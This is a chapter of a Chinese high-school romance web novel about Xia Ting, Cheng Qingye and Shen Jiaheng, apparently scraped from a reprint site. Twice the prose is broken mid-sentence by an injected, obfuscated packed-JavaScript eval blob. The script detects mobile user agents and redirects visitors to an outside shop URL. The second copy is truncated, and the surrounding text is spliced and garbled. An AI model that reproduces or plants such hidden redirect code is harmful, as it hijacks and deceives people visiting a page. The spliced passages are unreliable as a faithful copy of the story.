他挠了挠头,看见夏汀小心翼翼地拄着拐杖,看着他的表情惊讶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481665|201778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又迷茫,似乎在努力回想。 她突然想起,程青野身边似乎出现过这个人。 而且看样子,两人是关系还不错的朋友。 于是她叫住蒋子涵:“同学,你是不是认识,程青野?” “你是说程哥啊,认识啊,有什么事?”见夏汀对自己有印象,蒋子涵表情缓和了些。 但又想起之前在小巷子里撞见的情形,左右一联想,他下意识以为她的腿是在那个时候伤去的。 那时他虽路过,但怕趟了浑水惹一身腥,还劝程青野也别插手这件事来着。他忽然有点不好意思。 他自己以前也被高盛找过麻烦,如果不是程青野替他出头,估计他现在还在被他们骚扰。 但程青野也因为他的事情被丁兰赶了出来,为此,他心里也挺过意不去的。不希望程青野再受到更多牵连。 “这个,能不能麻烦你帮我转交给他?” 蒋子涵一愣,下一秒,手心里多出一个信封。 “这什么?” “麻烦你了,帮我交给他。谢谢。”夏汀向他欠了欠身。 “哦,好。”蒋子涵也没再多问,把信封收进口袋。等他再抬起头的时候,夏汀已经拄着拐杖,一级一级地上了楼梯。 暗淡的楼梯角漏进来稀疏的天光。她背影在静默中显得有些单薄,但每一步都走得很倔强。 一瘸一拐的,带着一股沉默又不服输的韧劲。 蒋子涵看着她背影,又想起那天巷子里她被人欺负的样子。忍不住叹了口气。 他拉了下快要下滑的书包,往楼梯下溜达了几步。身后有几个女孩子略过他往下走。 有个女孩子走太急,还不小心撞了她一下。 “琪琪,你别走那么快啊!”沈心怡追在后面。 林佳琪闷不作声地哭丧着个脸,走得飞快。眼睛还红红的,似乎是哭过。 “我就是想不明白,沈嘉恒为什么对夏汀那么好!还给她买了副拐杖!”才说了两句,林佳琪就又带上了哭腔。 听到“夏汀”的名字,蒋子涵放慢了下楼的脚步看了眼,很快就认出这是那天把夏汀堵在巷子里的那几个小姑娘。 “别生气了别生气了!”沈心怡啐了句,“我表哥只是可怜残疾人罢了!你别多想!” 残疾人。 蒋子涵想到夏汀一瘸一拐的样子,心底闪过一丝不可名状的气愤与哀伤。 - “程哥,我来了!”蒋子涵把大包小包放在电脑桌上,一骨碌拉开电竞椅坐下。 一路跑过来,他气息很不稳。 “你都不知道我刚刚遇到谁了!吓死我了!” 程青野情绪淡淡,黑色帽衫慵懒地兜着半边脸,整个人都陷在电竞椅里,看上去有点缺觉。对蒋子涵的话题也不大感兴趣,连应都没应。 程家那边最近断了信。按时给他打款的银行卡也一直没有讯息。估摸着局势不好。 “高盛!!我迎面跟他撞上了!”蒋子涵喝了口饮料,“不过你猜怎么着,他看了我一眼就灰溜溜走了!哈哈哈哈哈!程哥,果然还是你起作用了!!” “不过这次他是一个人,看样子伤已经好得差不多了,程哥,我害怕他继续来找我麻烦。” “有我在,你怕什么。” 程青野本就心烦意乱,蒋子涵又闹腾的紧,他揉了揉太阳穴。 “程哥,那你能不能明天放学继续来门口等我!我真求你了!!”蒋子涵眨巴着他水汪汪的大眼睛。 一副贱兮兮的样子。 “行。”程青野皱了下眉。 “那就好!哦对!差点忘了!这个东西给你。”蒋子涵从书包里摸出一个信封,递到程青野面前。 程青野瞥了眼:“什么东西?” “就那个,夏汀,让我给你的。”蒋子涵把放在书包里揉皱的信封重新揉平。 说实话,他之前帮程青野收过不少东西。 程青野长相出挑,却性子冷淡不好接近,好多女孩子都会把东西递给蒋子涵,再让他转交给程青野。 蒋子涵对这份业务已经很熟悉了。 那些东西里,也不乏信件。但大多都是粉色壳子,冒着爱心泡泡、不用看就知道藏满了少女心事的那种。 而夏汀给的这个信封,暗黄色的外壳,是最普通不过的寄信用的封壳。 “有点土。”他忍不住吐槽了句。 就看见程青野伸手拿过信封,冷冷看了他一眼。 蒋子涵“嘶”了一声闭上嘴。 程青野拆开信封,里面是五张叠的整整齐齐的红色钞票。除此之外,再没有多余的东西。 “这么别致?第一次见情书里面塞钱的。”蒋子涵腹诽道。 那夏汀看上去也不像是特别有钱的,怎么对他程哥就这么大方? 正想着,程青野拿信封壳抽了他一下。 “去你的情书,人是来还钱的。” 蒋子涵这才反应过来这哪是什么情书,人家对他程哥根本没这心思。 “好奇怪,今天看见她的时候,她还拄着拐杖,腿看上去伤的特别厉害。” “拐杖?”程青野黑色碎发微垂,眉眼看起来隽邃而让人有距离感。 他不记得夏汀还配了拐杖。 “对啊,一瘸一拐的,听那几个欺负他的小姑娘说,沈嘉恒自己出钱给她配了副拐杖,”蒋子涵双手撑着下巴,回味着说,“沈学霸人真好,长得帅会学习就算了,还那么善良。” 程青野笑了下反问:“我不比他强?” 他虽然是笑着的,但蒋子涵很快就看出来他笑得并不真心。 他很快解释说:“那肯定还是我程哥最好!” “只不过沈学霸人还真挺不错的,之前我去他们班考场考试,忘记带涂卡笔,沈学霸就把他多的那支借给我了。” 程青野忽地起身,戏谑嗤嘲:“怎么不忘记带脑子?”说完,伸手把帽衫拉到最高,五官轮廓隐匿在暗处,看不清他此刻面部的表情。 但蒋子涵却切切实实感受到了一股越逼越近的低气压。 12. 淤青 把钱还给程青野以后,夏汀心底稍微踏实了些。 这段时间以来,她习惯了拄拐杖走路。只是金属材质的拐杖有时候会把她的手磨得有些红肿。 她又是易淤青体质,凝血功能很差,这就导致稍微有些磕了碰了,身上就会立刻显出淤青来。 不过好在夏冬明不在家。 比起那些被夏冬明掐出来的淤青,这样的淤青对她来说根本算不得什么。 作文比赛的事情她想的很清楚,不打算去参加决赛了。 上次知行杯的两千块奖金,除却还给程青野的500块,还剩下1500块。 如果攒起来慢慢用的话,能用好久好久。 有了这笔钱,夏汀至少就能安心读书了。 把钱还给程青野的第二天清晨又落了场雨。是一场暴雨。 夏汀没有伞,拄着拐杖回到教室整个人都淋得有些湿。 教室里有几个早到的人正在聊天。其中就有沈心怡,她今天看起来心情不错,唧唧呱呱拉着她后桌在说什么。 林佳琪的位置上倒是空着。很少见地没有和沈心怡一起来。 夏汀也没多想,拿纸巾擦着自己身上被雨淋湿的地方。 “对啊!超级帅的!我发誓你见到了也会惊叹的!”沈心怡语气里藏着难以压抑的兴奋,声音零零散散漏到夏汀耳朵里。 “真的有那么帅吗?叫什么名字?我要去打听打听,我有几个朋友就在职校的!”坐在沈心怡后桌的小姑娘也忍不住附和。 “你凑近点,我跟你说,”沈心怡忽然有点不好意思,似是羞赧,连带着语气都变弱了很多。 后桌的小姑娘也很捧场地凑近了些。 沈心怡嘴巴轻轻动了下。 后桌的女生直接叫了出来:“程青野?这名字我听过,我老听我朋友们念叨,说他长得很帅诶!” 夏汀擦纸巾的手忽地一顿。 紧接着沈嘉恒就恰好从后门进来。外面在下暴雨,他撑着一把长柄伞,进门之前就收的规规矩矩,没让一滴雨砸在夏汀身上。 夏汀抬起眼眸的时候,刚好跟他的目光对上。 沈嘉恒眼睛弯了弯,跟她问了个“早”,还问她腿还好吗。 听见动静,刚刚还聊得不亦乐乎的沈心怡忽然停下来“嘁”了一声,语气里满是不屑和鄙夷,似乎在为林佳琪鸣不平,也似乎在责怪她表哥怎么眼光这么差,居然会对这么一个小瘸子这么好。 但她到底是跟林佳琪不一样,她看不出来她表哥对这小瘸子有什么特别之处,她只知道她表哥从小到大性格都很好,关注残疾同学或许只是他作为品学兼优的班长应尽的职责。 夏汀紧张地点点头,装作在找书。借着找书的由头让自己合理地忙碌起来,好收回和沈嘉恒对视的目光。 她不想让别人注意到她。 林佳琪有一句话说的倒是没错,那就是她和沈嘉恒根本就不是一个世界里的人。 当然,她知道自己无论哪个方面都配不上沈嘉恒。她也从没有肖想过。 暗恋沈嘉恒这样温暖又耀眼的人,其实是一件最正常不过的事情。 她只不过是把沈嘉恒当作一个寄托。 一个苦涩生活里唯一甜一点的借口。 可眼下,她甚至都没有勇气暗恋他。她倒是不怕会给自己惹来不必要的麻烦。 她只是怕会给沈嘉恒造成困扰。 自卑而又陷在暗恋中的人啊,真可悲。 想东想西,想天想地,唯独没有想自己。 - 放学前的最后一节课是体育课。 雨已经停了,但没放晴,仍然是阴天。偶尔会有风掀动衣角,把单薄的衣衫吹得鼓起来。 原先好脾气的体育老师休了产假,换了一个新的体育老师。 夏汀向新的体育老师说明了自己的情况想要请假。 谁知这老师只鄙夷地看了她一眼,说哪怕站也要站在一旁看其他同学跑步。 于是夏汀拄着拐杖,站在跑道边看其他同学跑步。 她目光追随着一个个身影,想要找到沈嘉恒。很久以前,她因为跛脚不能跑步,只能站在跑道边看其他同学奔跑的时候,她就很喜欢偷偷看沈嘉恒跑步的样子。 每次她都不敢看得太明目张胆,总会带一本单词本下来记。然后偷偷透过书页看一眼沈嘉恒。 只一眼,便已足够。 但这次,她站在操场边,却没能找到沈嘉恒的身影。 过了会,她才想起来老王上午的时候好像找过他,让他负责个什么事情来着。 操场上奔跑的身影洋溢着青春的活力。时不时有人带着好奇的目光看向站在一边、拄着拐杖的夏汀。 夏汀虽然早已习惯了这种带有好奇窥探欲的不适目光,但反复被当猴子一样看,她心底多少还是有点不自在。 才在操场上站了一会儿,她胸口发闷,有些喘不上来气。 操场上也没有沈心怡和林佳琪的身影。 林佳琪下午的时候,倒是来了学校,没跟任何人说一句话。看上去心情很不好。 夏汀没办法站太久,最后脸色苍白地跟体育老师打报告。 体育老师看她脸白成那个虚弱样,最后还是摆了摆手放她走。 - 与此同时,林佳琪拦住正要出教室门去教师办公室交资料的沈嘉恒。 “沈嘉恒,你等一下,我有话想对你说。” 沈嘉恒站在前门门口,一手捏着整齐的资料,见到林佳琪,用公事公办的语气问:“什么事情?” 沈心怡站在一边,手紧张地捏在一起。 林佳琪抬起眼睛:“我,我……”她只说了两个字,忽然就说不下去了。 原本要表露的心迹,在快要脱口而出的瞬间,却像一颗酸枣般横亘在喉咙里。 她顿了顿,换言道:“沈嘉恒,你知不知道,我其实……” 其实很喜欢你。 她顿了半天,一直没办法将她心底所想说出口。 沈嘉恒没搞明白她的意思,边说:“林佳琪,没什么事情的话,我就先走了,我这边还有资料要交给王老师。” “等一下!”这次是沈心怡拦住了他。 林佳琪眼眶红红的,但还是忍住没掉眼泪。平日里那样高傲的一个人,眼下却卸下所有高傲的伪装,收敛起所有的大小姐脾气。 沈心怡实在是看不下去了,她挡住沈嘉恒,直言问道:“哥,你能不能有点耐心,佳琪还没把话说完呢!” 沈嘉恒点了下头,说:“好。” 他看向林佳琪。目光里全是干净清澈的茫然,似乎对她的心意全然不知。 在这一瞬间里,林佳琪再也忍不住了。 她眼眶直接湿润,豆大一颗眼泪砸下来。匆匆忙忙往教室外跑。 还险些撞到个人。 程青野单手插兜避开她,兀自往高三(2)班的门口走去。 蒋子涵求他来等他放学。 他还真就来了。 蒋子涵还没下课。最后一节数学课听的人昏昏欲睡。他已经半撑着手打起了瞌睡。 程青野在走廊上等得有些无聊,懒散地背靠在走廊的金属栏杆上。 梧桐花的枝桠伸进来,他个子极高,花瓣掺着雨滴开得轰轰烈烈。 “哥!你让我说你什么好!!”沈心怡看见林佳琪被气哭了,语气也不免有点着急,“你为什么对那个夏汀就那么好!” 高三(1)班的前门和(2)班的后门连在一起,听到熟悉的名字,程青野眯着眼看向隔壁。 “问好了吗?”沈嘉恒问。 “你该不会喜欢那个瘸子吧?”沈心怡气极。 问到点子上了。这下沈嘉恒倒是缄默了。 沈心怡没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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眼泪随时都有可能掉下来。 为了不让眼泪掉下来,她倔强地抬起头。 梧桐花沾满雨露,枝桠上盈满花苞,盛放着欹斜进走廊。 程青野就站在摇曳的梧桐花下。 他懒散地倚着栏杆,为了进校穿的是蒋子涵的校服。校服领口被风吹开,他目光刚好看过来。 眼神有点冷。 像是早春未化的雪,英挺的面庞上一脸恣意张扬,写满轻狂。 一连好几天都没见到程青野,夏汀没想过能在这里再碰见他,她噙着泪水的目光和他对视上。 说不清道不明是什么情愫。 程青野扯了下嘴角:“挺巧。” 本想继续揶揄几句,又看见她眼眶发红。他喉结滚了下,大发慈悲地没再继续说。 沈心怡看见他,也追出来。 夏汀蓦地想起沈心怡提起过“程青野”的名字,自然也明白她心里在想什么。 一种复杂的情愫弥漫在她心头。 报复的念头盘旋着敲打在她耳畔。 不知怎么地,她忽然鼓起勇气靠近程青野。 程青野个子好高,她跛着脚跌跌撞撞差点撞到他。 她踮起脚,靠近他,他身上凛冽的气味轻轻包围住了她。 她看着他的眼睛,不知哪里来的勇气靠近他的脸颊,颤抖着轻轻碰了一下。 程青野没料到她会这么做,细密的电流在他反应过来之前就穿透进他的心脏。 他慢半拍地收起了慵懒的劲儿。 她看着他,眼泪砸下来,她说:“程青野,我喜欢你,保护我好不好?”